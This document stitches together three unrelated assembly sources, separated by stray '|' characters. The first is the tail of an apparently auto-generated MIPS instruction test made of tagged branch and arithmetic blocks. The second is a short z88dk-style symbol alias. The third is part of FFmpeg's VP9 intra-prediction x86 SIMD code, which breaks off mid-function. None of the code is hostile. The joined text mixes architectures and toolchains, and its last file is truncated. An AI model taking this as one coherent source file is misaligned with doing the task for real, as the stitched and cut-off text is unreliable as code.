and $3, $1, $1
srl $3, $1, 2
sll $0, $0, 0
bne $3, $1, TAG655
TAG655:
slt $3, $3, $3
mult $3, $3
lhu $2, 0($3)
lb $1, 0($3)
TAG656:
or $1, $1, $1
mtlo $1
srlv $4, $1, $1
mthi $4
TAG657:
beq $4, $4, TAG658
lui $3, 4
srlv $3, $4, $3
sll $4, $3, 8
TAG658:
mflo $3
sb $3, -2047($4)
lui $2, 14
mflo $3
TAG659:
blez $3, TAG660
lw $1, 11($3)
lui $2, 13
mflo $1
TAG660:
lui $3, 5
lui $1, 13
blez $1, TAG661
addu $3, $1, $1
TAG661:
beq $3, $3, TAG662
divu $3, $3
div $3, $3
mthi $3
TAG662:
lui $3, 15
sll $0, $0, 0
slti $2, $4, 9
bltz $4, TAG663
TAG663:
lbu $4, 0($2)
mthi $2
multu $2, $2
divu $4, $4
TAG664:
mflo $3
lb $3, 0($3)
lui $2, 3
lui $2, 14
TAG665:
beq $2, $2, TAG666
lui $4, 15
lw $1, 0($4)
sw $1, 0($4)
TAG666:
multu $1, $1
lui $3, 0
lui $4, 8
mthi $4
TAG667:
bgtz $4, TAG668
mthi $4
andi $2, $4, 6
lui $1, 6
TAG668:
div $1, $1
mtlo $1
mult $1, $1
sll $0, $0, 0
TAG669:
mflo $2
mthi $2
lui $1, 7
bltz $2, TAG670
TAG670:
mfhi $3
lui $3, 3
srl $4, $3, 1
bltz $3, TAG671
TAG671:
divu $4, $4
mthi $4
sll $0, $0, 0
mthi $4
TAG672:
sll $0, $0, 0
xori $1, $3, 10
lui $2, 9
addiu $1, $3, 15
TAG673:
beq $1, $1, TAG674
sll $0, $0, 0
lui $3, 13
mfhi $1
TAG674:
mfhi $1
mflo $2
sll $0, $0, 0
blez $4, TAG675
TAG675:
mflo $1
bne $1, $4, TAG676
sll $0, $0, 0
nor $3, $1, $1
TAG676:
mflo $2
mflo $1
mult $3, $2
bltz $3, TAG677
TAG677:
lui $2, 1
sltiu $3, $1, 13
beq $1, $1, TAG678
andi $4, $2, 12
TAG678:
mtlo $4
multu $4, $4
slti $1, $4, 12
mult $1, $1
TAG679:
lui $1, 10
sltiu $3, $1, 11
beq $3, $1, TAG680
lui $2, 3
TAG680:
bltz $2, TAG681
mthi $2
mtlo $2
mtlo $2
TAG681:
sll $0, $0, 0
mthi $2
mthi $2
addiu $1, $2, 14
TAG682:
beq $1, $1, TAG683
lui $1, 12
mtlo $1
beq $1, $1, TAG683
TAG683:
lui $2, 0
mtlo $2
sll $0, $0, 0
mfhi $2
TAG684:
beq $2, $2, TAG685
sll $0, $0, 0
mfhi $2
sllv $2, $2, $2
TAG685:
bne $2, $2, TAG686
sll $0, $0, 0
addiu $3, $2, 9
mthi $4
TAG686:
bgtz $3, TAG687
lui $2, 4
subu $4, $2, $2
mthi $3
TAG687:
mflo $4
sw $4, 0($4)
lw $4, 0($4)
mult $4, $4
TAG688:
mfhi $1
addu $1, $4, $4
lw $2, 0($4)
subu $4, $1, $1
TAG689:
lw $3, 0($4)
mthi $3
slti $4, $3, 1
slti $3, $4, 13
TAG690:
bne $3, $3, TAG691
mthi $3
divu $3, $3
lui $3, 8
TAG691:
mtlo $3
mthi $3
sll $0, $0, 0
lui $2, 5
TAG692:
slti $1, $2, 15
lbu $2, 0($1)
mflo $2
mtlo $1
TAG693:
bne $2, $2, TAG694
lui $3, 12
beq $3, $2, TAG694
sll $0, $0, 0
TAG694:
beq $3, $3, TAG695
sll $0, $0, 0
div $3, $3
slt $4, $3, $3
TAG695:
bne $4, $4, TAG696
sb $4, 0($4)
beq $4, $4, TAG696
mult $4, $4
TAG696:
lui $2, 4
sll $0, $0, 0
mflo $2
srlv $2, $2, $4
TAG697:
bgez $2, TAG698
lui $4, 0
sh $2, 0($2)
sh $4, 0($4)
TAG698:
blez $4, TAG699
mult $4, $4
bgtz $4, TAG699
addi $1, $4, 5
TAG699:
sllv $3, $1, $1
lbu $1, 0($3)
mflo $3
bltz $1, TAG700
TAG700:
sll $4, $3, 13
lui $4, 7
sltu $4, $4, $4
bgtz $4, TAG701
TAG701:
sb $4, 0($4)
mthi $4
lui $3, 13
addu $4, $3, $4
TAG702:
addiu $2, $4, 4
mfhi $3
xor $4, $3, $2
lh $4, 0($3)
TAG703:
mfhi $4
lui $1, 9
beq $4, $1, TAG704
lui $1, 6
TAG704:
mult $1, $1
sll $0, $0, 0
addu $2, $1, $1
andi $3, $2, 3
TAG705:
lbu $3, 0($3)
mult $3, $3
slt $4, $3, $3
bgez $3, TAG706
TAG706:
mthi $4
slti $3, $4, 8
lui $4, 6
sll $0, $0, 0
TAG707:
addiu $4, $1, 13
blez $4, TAG708
lui $1, 11
mtlo $1
TAG708:
slti $2, $1, 12
sw $2, 0($2)
mthi $1
sb $2, 0($2)
TAG709:
sw $2, 0($2)
sllv $4, $2, $2
mfhi $4
sll $0, $0, 0
TAG710:
mfhi $3
bne $3, $3, TAG711
mfhi $2
slt $4, $3, $2
TAG711:
bltz $4, TAG712
mult $4, $4
sb $4, 0($4)
lw $4, 0($4)
TAG712:
slt $1, $4, $4
mtlo $1
bltz $4, TAG713
lb $2, 0($1)
TAG713:
multu $2, $2
sh $2, 0($2)
mflo $3
sh $3, 0($2)
TAG714:
lui $1, 1
mthi $3
sw $3, 0($3)
lw $1, 0($3)
TAG715:
lui $1, 2
mfhi $3
sra $1, $1, 3
mflo $4
TAG716:
lui $2, 9
addiu $3, $4, 8
lbu $3, 0($3)
bne $3, $2, TAG717
TAG717:
mflo $3
mthi $3
multu $3, $3
lh $1, 0($3)
TAG718:
srlv $4, $1, $1
beq $4, $4, TAG719
mtlo $1
sub $1, $4, $1
TAG719:
sb $1, 0($1)
addu $2, $1, $1
lui $3, 0
multu $3, $3
TAG720:
bne $3, $3, TAG721
mfhi $4
bne $3, $3, TAG721
srl $1, $3, 7
TAG721:
mult $1, $1
mtlo $1
lui $1, 1
blez $1, TAG722
TAG722:
lui $1, 6
lui $2, 15
sll $0, $0, 0
mflo $2
TAG723:
multu $2, $2
mult $2, $2
mflo $2
lui $3, 1
TAG724:
divu $3, $3
sll $2, $3, 15
andi $4, $2, 3
mtlo $2
TAG725:
lb $4, 0($4)
lw $4, 0($4)
bltz $4, TAG726
mult $4, $4
TAG726:
mtlo $4
sw $4, 0($4)
lb $1, 0($4)
lb $2, 0($4)
TAG727:
sra $3, $2, 10
subu $1, $2, $2
or $4, $2, $2
mult $4, $4
TAG728:
andi $2, $4, 12
lui $4, 7
blez $4, TAG729
sb $4, 0($2)
TAG729:
sll $0, $0, 0
multu $4, $4
bgtz $2, TAG730
mthi $2
TAG730:
blez $2, TAG731
sb $2, 0($2)
bne $2, $2, TAG731
mthi $2
TAG731:
mtlo $2
mfhi $3
lh $3, 0($3)
lh $4, 0($2)
TAG732:
bltz $4, TAG733
multu $4, $4
lhu $3, 0($4)
mflo $4
TAG733:
mult $4, $4
mflo $1
mult $1, $4
beq $1, $1, TAG734
TAG734:
subu $4, $1, $1
sb $4, 0($4)
lui $1, 6
sll $0, $0, 0
TAG735:
mthi $4
mthi $4
bne $4, $4, TAG736
srav $2, $4, $4
TAG736:
multu $2, $2
sb $2, 0($2)
lbu $3, 0($2)
bne $2, $3, TAG737
TAG737:
lui $1, 8
mfhi $2
beq $3, $3, TAG738
mtlo $1
TAG738:
lbu $3, 0($2)
multu $2, $3
mfhi $4
lui $2, 4
TAG739:
mfhi $1
sll $0, $0, 0
sll $0, $0, 0
sll $0, $0, 0
TAG740:
sh $3, 0($3)
mult $3, $3
mflo $4
sb $4, 0($4)
TAG741:
bgtz $4, TAG742
multu $4, $4
xor $3, $4, $4
lhu $1, 0($4)
TAG742:
andi $2, $1, 10
mult $1, $1
beq $1, $2, TAG743
lui $2, 7
TAG743:
addiu $3, $2, 3
mtlo $2
xor $2, $3, $3
bne $2, $2, TAG744
TAG744:
lb $2, 0($2)
mult $2, $2
mfhi $4
mthi $2
TAG745:
lui $2, 10
sltiu $1, $4, 3
addu $3, $4, $1
nor $4, $1, $3
TAG746:
addu $4, $4, $4
srav $2, $4, $4
addiu $3, $2, 15
beq $4, $4, TAG747
TAG747:
sh $3, 0($3)
subu $1, $3, $3
lui $3, 12
sll $0, $0, 0
TAG748:
beq $3, $3, TAG749
sll $0, $0, 0
sra $3, $3, 14
bltz $3, TAG749
TAG749:
divu $3, $3
sll $0, $0, 0
mflo $1
mflo $2
TAG750:
nop
nop
test_end:
beq $0, $0, test_end
nop |
SECTION code_fp_math48
PUBLIC ftoe
EXTERN _ftoe_impl
; sccz80 points to the implementation
defc ftoe = _ftoe_impl
|
;******************************************************************************
;* VP9 Intra prediction SIMD optimizations
;*
;* Copyright (c) 2015 Ronald S. Bultje <rsbultje gmail com>
;* Copyright (c) 2015 Henrik Gramner <henrik gramner com>
;*
;* This file is part of FFmpeg.
;*
;* FFmpeg is free software; you can redistribute it and/or
;* modify it under the terms of the GNU Lesser General Public
;* License as published by the Free Software Foundation; either
;* version 2.1 of the License, or (at your option) any later version.
;*
;* FFmpeg is distributed in the hope that it will be useful,
;* but WITHOUT ANY WARRANTY; without even the implied warranty of
;* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
;* Lesser General Public License for more details.
;*
;* You should have received a copy of the GNU Lesser General Public
;* License along with FFmpeg; if not, write to the Free Software
;* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
;******************************************************************************
%include "libavutil/x86/x86util.asm"
SECTION_RODATA 32
pd_2: times 8 dd 2
pd_4: times 8 dd 4
pd_8: times 8 dd 8
pb_2to15_14_15: db 2,3,4,5,6,7,8,9,10,11,12,13,14,15,14,15
pb_4_5_8to13_8x0: db 4,5,8,9,10,11,12,13,0,0,0,0,0,0,0,0
pb_0to7_67x4: db 0,1,2,3,4,5,6,7,6,7,6,7,6,7,6,7
cextern pw_1
cextern pw_1023
cextern pw_4095
cextern pd_16
cextern pd_32
cextern pd_65535;
; FIXME most top-only functions (ddl, vl, v, dc_top) can be modified to take
; only 3 registers on x86-32, which would make it one cycle faster, but that
; would make the code quite a bit uglier...
SECTION .text
%macro SCRATCH 3-4
%if ARCH_X86_64
SWAP %1, %2
%if %0 == 4
%define reg_%4 m%2
%endif
%else
mova [%3], m%1
%if %0 == 4
%define reg_%4 [%3]
%endif
%endif
%endmacro
%macro UNSCRATCH 3-4
%if ARCH_X86_64
SWAP %1, %2
%else
mova m%1, [%3]
%endif
%if %0 == 4
%undef reg_%4
%endif
%endmacro
%macro PRELOAD 2-3
%if ARCH_X86_64
mova m%1, [%2]
%if %0 == 3
%define reg_%3 m%1
%endif
%elif %0 == 3
%define reg_%3 [%2]
%endif
%endmacro
INIT_MMX mmx
cglobal vp9_ipred_v_4x4_16, 2, 4, 1, dst, stride, l, a
movifnidn aq, amp
mova m0, [aq]
DEFINE_ARGS dst, stride, stride3
lea stride3q, [strideq*3]
mova [dstq+strideq*0], m0
mova [dstq+strideq*1], m0
mova [dstq+strideq*2], m0
mova [dstq+stride3q ], m0
RET
INIT_XMM sse
cglobal vp9_ipred_v_8x8_16, 2, 4, 1, dst, stride, l, a
movifnidn aq, amp
mova m0, [aq]
DEFINE_ARGS dst, stride, stride3
lea stride3q, [strideq*3]
mova [dstq+strideq*0], m0
mova [dstq+strideq*1], m0
mova [dstq+strideq*2], m0
mova [dstq+stride3q ], m0
lea dstq, [dstq+strideq*4]
mova [dstq+strideq*0], m0
mova [dstq+strideq*1], m0
mova [dstq+strideq*2], m0
mova [dstq+stride3q ], m0
RET
INIT_XMM sse
cglobal vp9_ipred_v_16x16_16, 2, 4, 2, dst, stride, l, a
movifnidn aq, amp
mova m0, [aq]
mova m1, [aq+mmsize]
DEFINE_ARGS dst, stride, stride3, cnt
lea stride3q, [strideq*3]
mov cntd, 4
.loop:
mova [dstq+strideq*0+ 0], m0
mova [dstq+strideq*0+16], m1
mova [dstq+strideq*1+ 0], m0
mova [dstq+strideq*1+16], m1
mova [dstq+strideq*2+ 0], m0
mova [dstq+strideq*2+16], m1
mova [dstq+stride3q + 0], m0
mova [dstq+stride3q +16], m1
lea dstq, [dstq+strideq*4]
dec cntd
jg .loop
RET
INIT_XMM sse
cglobal vp9_ipred_v_32x32_16, 2, 4, 4, dst, stride, l, a
movifnidn aq, amp
mova m0, [aq+mmsize*0]
mova m1, [aq+mmsize*1]
mova m2, [aq+mmsize*2]
mova m3, [aq+mmsize*3]
DEFINE_ARGS dst, stride, cnt
mov cntd, 16
.loop:
mova [dstq+strideq*0+ 0], m0
mova [dstq+strideq*0+16], m1
mova [dstq+strideq*0+32], m2
mova [dstq+strideq*0+48], m3
mova [dstq+strideq*1+ 0], m0
mova [dstq+strideq*1+16], m1
mova [dstq+strideq*1+32], m2
mova [dstq+strideq*1+48], m3
lea dstq, [dstq+strideq*2]
dec cntd
jg .loop
RET
INIT_MMX mmxext
cglobal vp9_ipred_h_4x4_16, 3, 3, 4, dst, stride, l, a
mova m3, [lq]
DEFINE_ARGS dst, stride, stride3
lea stride3q, [strideq*3]
pshufw m0, m3, q3333
pshufw m1, m3, q2222
pshufw m2, m3, q1111
pshufw m3, m3, q0000
mova [dstq+strideq*0], m0
mova [dstq+strideq*1], m1
mova [dstq+strideq*2], m2
mova [dstq+stride3q ], m3
RET
INIT_XMM sse2
cglobal vp9_ipred_h_8x8_16, 3, 3, 4, dst, stride, l, a
mova m2, [lq]
DEFINE_ARGS dst, stride, stride3
lea stride3q, [strideq*3]
punpckhwd m3, m2, m2
pshufd m0, m3, q3333
pshufd m1, m3, q2222
mova [dstq+strideq*0], m0
mova [dstq+strideq*1], m1
pshufd m0, m3, q1111
pshufd m1, m3, q0000
mova [dstq+strideq*2], m0
mova [dstq+stride3q ], m1
lea dstq, [dstq+strideq*4]
punpcklwd m2, m2
pshufd m0, m2, q3333
pshufd m1, m2, q2222
mova [dstq+strideq*0], m0
mova [dstq+strideq*1], m1
pshufd m0, m2, q1111
pshufd m1, m2, q0000
mova [dstq+strideq*2], m0
mova [dstq+stride3q ], m1
RET
INIT_XMM sse2
cglobal vp9_ipred_h_16x16_16, 3, 5, 4, dst, stride, l, stride3, cnt
mov cntd, 3
lea stride3q, [strideq*3]
.loop:
movh m3, [lq+cntq*8]
punpcklwd m3, m3
pshufd m0, m3, q3333
pshufd m1, m3, q2222
pshufd m2, m3, q1111
pshufd m3, m3, q0000
mova [dstq+strideq*0+ 0], m0
mova [dstq+strideq*0+16], m0
mova [dstq+strideq*1+ 0], m1
mova [dstq+strideq*1+16], m1
mova [dstq+strideq*2+ 0], m2
mova [dstq+strideq*2+16], m2
mova [dstq+stride3q + 0], m3
mova [dstq+stride3q +16], m3
lea dstq, [dstq+strideq*4]
dec cntd
jge .loop
RET
INIT_XMM sse2
cglobal vp9_ipred_h_32x32_16, 3, 5, 4, dst, stride, l, stride3, cnt
mov cntd, 7
lea stride3q, [strideq*3]
.loop:
movh m3, [lq+cntq*8]
punpcklwd m3, m3
pshufd m0, m3, q3333
pshufd m1, m3, q2222
pshufd m2, m3, q1111
pshufd m3, m3, q0000
mova [dstq+strideq*0+ 0], m0
mova [dstq+strideq*0+16], m0
mova [dstq+strideq*0+32], m0
mova [dstq+strideq*0+48], m0
mova [dstq+strideq*1+ 0], m1
mova [dstq+strideq*1+16], m1
mova [dstq+strideq*1+32], m1
mova [dstq+strideq*1+48], m1
mova [dstq+strideq*2+ 0], m2
mova [dstq+strideq*2+16], m2
mova [dstq+strideq*2+32], m2
mova [dstq+strideq*2+48], m2
mova [dstq+stride3q + 0], m3
mova [dstq+stride3q +16], m3
mova [dstq+stride3q +32], m3
mova [dstq+stride3q +48], m3
lea dstq, [dstq+strideq*4]
dec cntd
jge .loop
RET
INIT_MMX mmxext
cglobal vp9_ipred_dc_4x4_16, 4, 4, 2, dst, stride, l, a
mova m0, [lq]
paddw m0, [aq]
DEFINE_ARGS dst, stride, stride3
lea stride3q, [strideq*3]
pmaddwd m0, [pw_1]
pshufw m1, m0, q3232
paddd m0, [pd_4]
paddd m0, m1
psrad m0, 3
pshufw m0, m0, q0000
mova [dstq+strideq*0], m0
mova [dstq+strideq*1], m0
mova [dstq+strideq*2], m0
mova [dstq+stride3q ], m0
RET
INIT_XMM sse2
cglobal vp9_ipred_dc_8x8_16, 4, 4, 2, dst, stride, l, a
mova m0, [lq]
paddw m0, [aq]
DEFINE_ARGS dst, stride, stride3
lea stride3q, [strideq*3]
pmaddwd m0, [pw_1]
pshufd m1, m0, q3232
paddd m0, m1
pshufd m1, m0, q1111
paddd m0, [pd_8]
paddd m0, m1
psrad m0, 4
pshuflw m0, m0, q0000
punpcklqdq m0, m0
mova [dstq+strideq*0], m0
mova [dstq+strideq*1], m0
mova [dstq+strideq*2], m0
mova [dstq+stride3q ], m0
lea dstq, [dstq+strideq*4]
mova [dstq+strideq*0], m0
mova [dstq+strideq*1], m0
mova [dstq+strideq*2], m0
mova [dstq+stride3q ], m0
RET
INIT_XMM sse2
cglobal vp9_ipred_dc_16x16_16, 4, 4, 2, dst, stride, l, a
mova m0, [lq]
paddw m0, [lq+mmsize]
paddw m0, [aq]
paddw m0, [aq+mmsize]
DEFINE_ARGS dst, stride, stride3, cnt
lea stride3q, [strideq*3]
mov cntd, 4
pmaddwd m0, [pw_1]
pshufd m1, m0, q3232
paddd m0, m1
pshufd m1, m0, q1111
paddd m0, [pd_16]
paddd m0, m1
psrad m0, 5
pshuflw m0, m0, q0000
punpcklqdq m0, m0
.loop:
mova [dstq+strideq*0+ 0], m0
mova [dstq+strideq*0+16], m0
mova [dstq+strideq*1+ 0], m0
mova [dstq+strideq*1+16], m0
mova [dstq+strideq*2+ 0], m0
mova [dstq+strideq*2+16], m0
mova [dstq+stride3q + 0], m0
mova [dstq+stride3q +16], m0
lea dstq, [dstq+strideq*4]
dec cntd
jg .loop
RET
INIT_XMM sse2
cglobal vp9_ipred_dc_32x32_16, 4, 4, 2, dst, stride, l, a
mova m0, [lq+mmsize*0]
paddw m0, [lq+mmsize*1]
paddw m0, [lq+mmsize*2]
paddw m0, [lq+mmsize*3]
paddw m0, [aq+mmsize*0]
paddw m0, [aq+mmsize*1]
paddw m0, [aq+mmsize*2]
paddw m0, [aq+mmsize*3]
DEFINE_ARGS dst, stride, stride3, cnt
lea stride3q, [strideq*3]
mov cntd, 16
pmaddwd m0, [pw_1]
pshufd m1, m0, q3232
paddd m0, m1
pshufd m1, m0, q1111
paddd m0, [pd_32]
paddd m0, m1
psrad m0, 6
pshuflw m0, m0, q0000
punpcklqdq m0, m0
.loop:
mova [dstq+strideq*0+ 0], m0
mova [dstq+strideq*0+16], m0
mova [dstq+strideq*0+32], m0
mova [dstq+strideq*0+48], m0
mova [dstq+strideq*1+ 0], m0
mova [dstq+strideq*1+16], m0
mova [dstq+strideq*1+32], m0
mova [dstq+strideq*1+48], m0
lea dstq, [dstq+strideq*2]
dec cntd
jg .loop
RET
%macro DC_1D_FNS 2
INIT_MMX mmxext
cglobal vp9_ipred_dc_%1_4x4_16, 4, 4, 2, dst, stride, l, a
mova m0, [%2]
DEFINE_ARGS dst, stride, stride3
lea stride3q, [strideq*3]
pmaddwd m0, [pw_1]
pshufw m1, m0, q3232
paddd m0, [pd_2]
paddd m0, m1
psrad m0, 2
pshufw m0, m0, q0000
mova [dstq+strideq*0], m0
mova [dstq+strideq*1], m0
mova [dstq+strideq*2], m0
mova [dstq+stride3q ], m0
RET
INIT_XMM sse2
cglobal vp9_ipred_dc_%1_8x8_16, 4, 4, 2, dst, stride, l, a
mova m0, [%2]
DEFINE_ARGS dst, stride, stride3
lea stride3q, [strideq*3]
pmaddwd m0, [pw_1]
pshufd m1, m0, q3232
paddd m0, m1
pshufd m1, m0, q1111
paddd m0, [pd_4]
paddd m0, m1
psrad m0, 3
pshuflw m0, m0, q0000
punpcklqdq m0, m0
mova [dstq+strideq*0], m0
mova [dstq+strideq*1], m0
mova [dstq+strideq*2], m0
mova [dstq+stride3q ], m0
lea dstq, [dstq+strideq*4]
mova [dstq+strideq*0], m0
mova [dstq+strideq*1], m0
mova [dstq+strideq*2], m0
mova [dstq+stride3q ], m0
RET
INIT_XMM sse2
cglobal vp9_ipred_dc_%1_16x16_16, 4, 4, 2, dst, stride, l, a
mova m0, [%2]
paddw m0, [%2+mmsize]
DEFINE_ARGS dst, stride, stride3, cnt
lea stride3q, [strideq*3]
mov cntd, 4
pmaddwd m0, [pw_1]
pshufd m1, m0, q3232
paddd m0, m1
pshufd m1, m0, q1111
paddd m0, [pd_8]
paddd m0, m1
psrad m0, 4
pshuflw m0, m0, q0000
punpcklqdq m0, m0
.loop:
mova [dstq+strideq*0+ 0], m0
mova [dstq+strideq*0+16], m0
mova [dstq+strideq*1+ 0], m0
mova [dstq+strideq*1+16], m0
mova [dstq+strideq*2+ 0], m0
mova [dstq+strideq*2+16], m0
mova [dstq+stride3q + 0], m0
mova [dstq+stride3q +16], m0
lea dstq, [dstq+strideq*4]
dec cntd
jg .loop
RET
INIT_XMM sse2
cglobal vp9_ipred_dc_%1_32x32_16, 4, 4, 2, dst, stride, l, a
mova m0, [%2+mmsize*0]
paddw m0, [%2+mmsize*1]
paddw m0, [%2+mmsize*2]
paddw m0, [%2+mmsize*3]
DEFINE_ARGS dst, stride, cnt
mov cntd, 16
pmaddwd m0, [pw_1]
pshufd m1, m0, q3232
paddd m0, m1
pshufd m1, m0, q1111
paddd m0, [pd_16]
paddd m0, m1
psrad m0, 5
pshuflw m0, m0, q0000
punpcklqdq m0, m0
.loop:
mova [dstq+strideq*0+ 0], m0
mova [dstq+strideq*0+16], m0
mova [dstq+strideq*0+32], m0
mova [dstq+strideq*0+48], m0
mova [dstq+strideq*1+ 0], m0
mova [dstq+strideq*1+16], m0
mova [dstq+strideq*1+32], m0
mova [dstq+strideq*1+48], m0
lea dstq, [dstq+strideq*2]
dec cntd
jg .loop
RET
%endmacro
DC_1D_FNS top, aq
DC_1D_FNS left, lq
INIT_MMX mmxext
cglobal vp9_ipred_tm_4x4_10, 4, 4, 6, dst, stride, l, a
mova m5, [pw_1023]
.body:
mova m4, [aq]
mova m3, [lq]
movd m0, [aq-4]
pshufw m0, m0, q1111
psubw m4, m0
DEFINE_ARGS dst, stride, stride3
lea stride3q, [strideq*3]
pshufw m0, m3, q3333
pshufw m1, m3, q2222
pshufw m2, m3, q1111
pshufw m3, m3, q0000
paddw m0, m4
paddw m1, m4
paddw m2, m4
paddw m3, m4
pxor m4, m4
pmaxsw m0, m4
pmaxsw m1, m4
pmaxsw m2, m4
pmaxsw m3, m4
pminsw m0, m5
pminsw m1, m5
pminsw m2, m5
pminsw m3, m5
mova [dstq+strideq*0], m0
mova [dstq+strideq*1], m1
mova [dstq+strideq*2], m2
mova [dstq+stride3q ], m3
RET
cglobal vp9_ipred_tm_4x4_12, 4, 4, 6, dst, stride, l, a
mova m5, [pw_4095]
jmp mangle(private_prefix %+ _ %+ vp9_ipred_tm_4x4_10 %+ SUFFIX).body
INIT_XMM sse2
cglobal vp9_ipred_tm_8x8_10, 4, 5, 7, dst, stride, l, a
mova m4, [pw_1023]
.body:
pxor m6, m6
mova m5, [aq]
movd m0, [aq-4]
pshuflw m0, m0, q1111
punpcklqdq m0, m0
psubw m5, m0
DEFINE_ARGS dst, stride, l, stride3, cnt
lea stride3q, [strideq*3]
mov cntd, 1
.loop:
movh m3, [lq+cntq*8]
punpcklwd m3, m3
pshufd m0, m3, q3333
pshufd m1, m3, q2222
pshufd m2, m3, q1111
pshufd m3, m3, q0000
paddw m0, m5
paddw m1, m5
paddw m2, m5
paddw m3, m5
pmaxsw m0, m6
pmaxsw m1, m6
pmaxsw m2, m6
pmaxsw m3, m6
pminsw m0, m4
pminsw m1, m4
pminsw m2, m4
pminsw m3, m4
mova [dstq+strideq*0], m0
mova [dstq+strideq*1], m1
mova [dstq+strideq*2], m2
mova [dstq+stride3q ], m3
lea dstq, [dstq+strideq*4]
dec cntd
jge .loop
RET
cglobal vp9_ipred_tm_8x8_12, 4, 5, 7, dst, stride, l, a
mova m4, [pw_4095]
jmp mangle(private_prefix %+ _ %+ vp9_ipred_tm_8x8_10 %+ SUFFIX).body
INIT_XMM sse2
cglobal vp9_ipred_tm_16x16_10, 4, 4, 8, dst, stride, l, a
mova m7, [pw_1023]
.body:
pxor m6, m6
mova m4, [aq]
mova m5, [aq+mmsize]
movd m0, [aq-4]
pshuflw m0, m0, q1111
punpcklqdq m0, m0
psubw m4, m0
psubw m5, m0
DEFINE_ARGS dst, stride, l, cnt
mov cntd, 7
.loop:
movd m3, [lq+cntq*4]
punpcklwd m3, m3
pshufd m2, m3, q1111
pshufd m3, m3, q0000
paddw m0, m2, m4
paddw m2, m5
paddw m1, m3, m4
paddw m3, m5
pmaxsw m0, m6
pmaxsw m2, m6
pmaxsw m1, m6
pmaxsw m3, m6
pminsw m0, m7
pminsw m2, m7
pminsw m1, m7
pminsw m3, m7
mova [dstq+strideq*0+ 0], m0
mova [dstq+strideq*0+16], m2
mova [dstq+strideq*1+ 0], m1
mova [dstq+strideq*1+16], m3
lea dstq, [dstq+strideq*2]
dec cntd
jge .loop
RET
cglobal vp9_ipred_tm_16x16_12, 4, 4, 8, dst, stride, l, a
mova m7, [pw_4095]
jmp mangle(private_prefix %+ _ %+ vp9_ipred_tm_16x16_10 %+ SUFFIX).body
INIT_XMM sse2
cglobal vp9_ipred_tm_32x32_10, 4, 4, 10, 32 * -ARCH_X86_32, dst, stride, l, a
mova m0, [pw_1023]
.body:
pxor m1, m1
%if ARCH_X86_64
SWAP 0, 8
SWAP 1, 9
%define reg_min m9
%define reg_max m8
%else
mova [rsp+ 0], m0
mova [rsp+16], m1
%define reg_min [rsp+16]
%define reg_max [rsp+ 0]
%endif
mova m4, [aq+mmsize*0]
mova m5, [aq+mmsize*1]
mova m6, [aq+mmsize*2]
mova m7, [aq+mmsize*3]
movd m0, [aq-4]
pshuflw m0, m0, q1111
punpcklqdq m0, m0
psubw m4, m0
psubw m5, m0
psubw m6, m0
psubw m7, m0
DEFINE_ARGS dst, stride, l, cnt
mov cntd, 31
.loop:
pinsrw m3, [lq+cntq*2], 0
punpcklwd m3, m3
pshufd m3, m3, q0000
paddw m0, m3, m4
paddw m1, m3, m5
paddw m2, m3, m6
paddw m3, m7
pmaxsw m0, reg_min
pmaxsw m1, reg_min
pmaxsw m2, reg_min
pmaxsw m3, reg_min
pminsw m0, reg_max
pminsw m1, reg_max
pminsw m2, reg_max
pminsw m3, reg_max
mova [dstq+strideq*0+ 0], m0
mova [dstq+strideq*0+16], m1
mova [dstq+strideq*0+32], m2
mova [dstq+strideq*0+48], m3
add dstq, strideq
dec cntd
jge .loop
RET
cglobal vp9_ipred_tm_32x32_12, 4, 4, 10, 32 * -ARCH_X86_32, dst, stride, l, a
mova m0, [pw_4095]
jmp mangle(private_prefix %+ _ %+ vp9_ipred_tm_32x32_10 %+ SUFFIX).body
; Directional intra predicion functions
;
; in the functions below, 'abcdefgh' refers to above data (sometimes simply
; abbreviated as a[N-M]). 'stuvwxyz' refers to left data (sometimes simply
; abbreviated as l[N-M]). * is top-left data. ABCDEFG or A[N-M] is filtered
; above data, STUVWXYZ or L[N-M] is filtered left data, and # is filtered
; top-left data.
; left=(left+2*center+right+2)>>2
%macro LOWPASS 3 ; left [dst], center, right
paddw m%1, m%3
psraw m%1, 1
pavgw m%1, m%2
%endmacro
; abcdefgh (src) -> bcdefghh (dst)
; dst/src can be the same register
%macro SHIFT_RIGHT 2-3 [pb_2to15_14_15] ; dst, src, [ssse3_shift_reg]
%if cpuflag(ssse3)
pshufb %1, %2, %3 ; abcdefgh -> bcdefghh
%else
psrldq %1, %2, 2 ; abcdefgh -> bcdefgh.
pshufhw %1, %1, q2210 ; bcdefgh. -> bcdefghh
%endif
%endmacro
; abcdefgh (src) -> bcdefghh (dst1) and cdefghhh (dst2)
%macro SHIFT_RIGHTx2 3-4 [pb_2to15_14_15] ; dst1, dst2, src, [ssse3_shift_reg]
%if cpuflag(ssse3)
pshufb %1, %3, %4 ; abcdefgh -> bcdefghh
pshufb %2, %1, %4 ; bcdefghh -> cdefghhh
%else
psrldq %1, %3, 2 ; abcdefgh -> bcdefgh.
psrldq %2, %3, 4 ; abcdefgh -> cdefgh..
pshufhw %1, %1, q2210 ; bcdefgh. -> bcdefghh
pshufhw %2, %2, q1110 ; cdefgh.. -> cdefghhh
%endif
%endmacro
%macro DL_FUNCS 0
cglobal vp9_ipred_dl_4x4_16, 2, 4, 3, dst, stride, l, a
movifnidn aq, amp
movu m1, [aq] ; abcdefgh
pshufhw m0, m1, q3310 ; abcdefhh
SHIFT_RIGHT m1, m1 ; bcdefghh
psrldq m2, m1, 2 ; cdefghh.
LOWPASS 0, 1, 2 ; BCDEFGh.
pshufd m1, m0, q3321 ; DEFGh...
movh [dstq+strideq*0], m0
movh [dstq+strideq*2], m1
add dstq, strideq
psrldq m0, 2 ; CDEFGh..
psrldq m1, 2 ; EFGh....
movh [dstq+strideq*0], m0
movh [dstq+strideq*2], m1
RET
cglobal vp9_ipred_dl_8x8_16, 2, 4, 5, dst, stride, l, a
movifnidn aq, amp
mova m0, [aq] ; abcdefgh
%if cpuflag(ssse3)
mova m4, [pb_2to15_14_15]
%endif
SHIFT_RIGHTx2 m1, m2, m0, m4 ; bcdefghh/cdefghhh
LOWPASS 0, 1, 2 ; BCDEFGHh
shufps m1, m0, m2, q3332 ; FGHhhhhh
shufps m3, m0, m1, q2121 ; DEFGHhhh
DEFINE_ARGS dst, stride, stride5
lea stride5q, [strideq*5]
mova [dstq+strideq*0], m0
mova [dstq+strideq*4], m1
SHIFT_RIGHT m0, m0, m4 ; CDEFGHhh
pshuflw m1, m1, q3321 ; GHhhhhhh
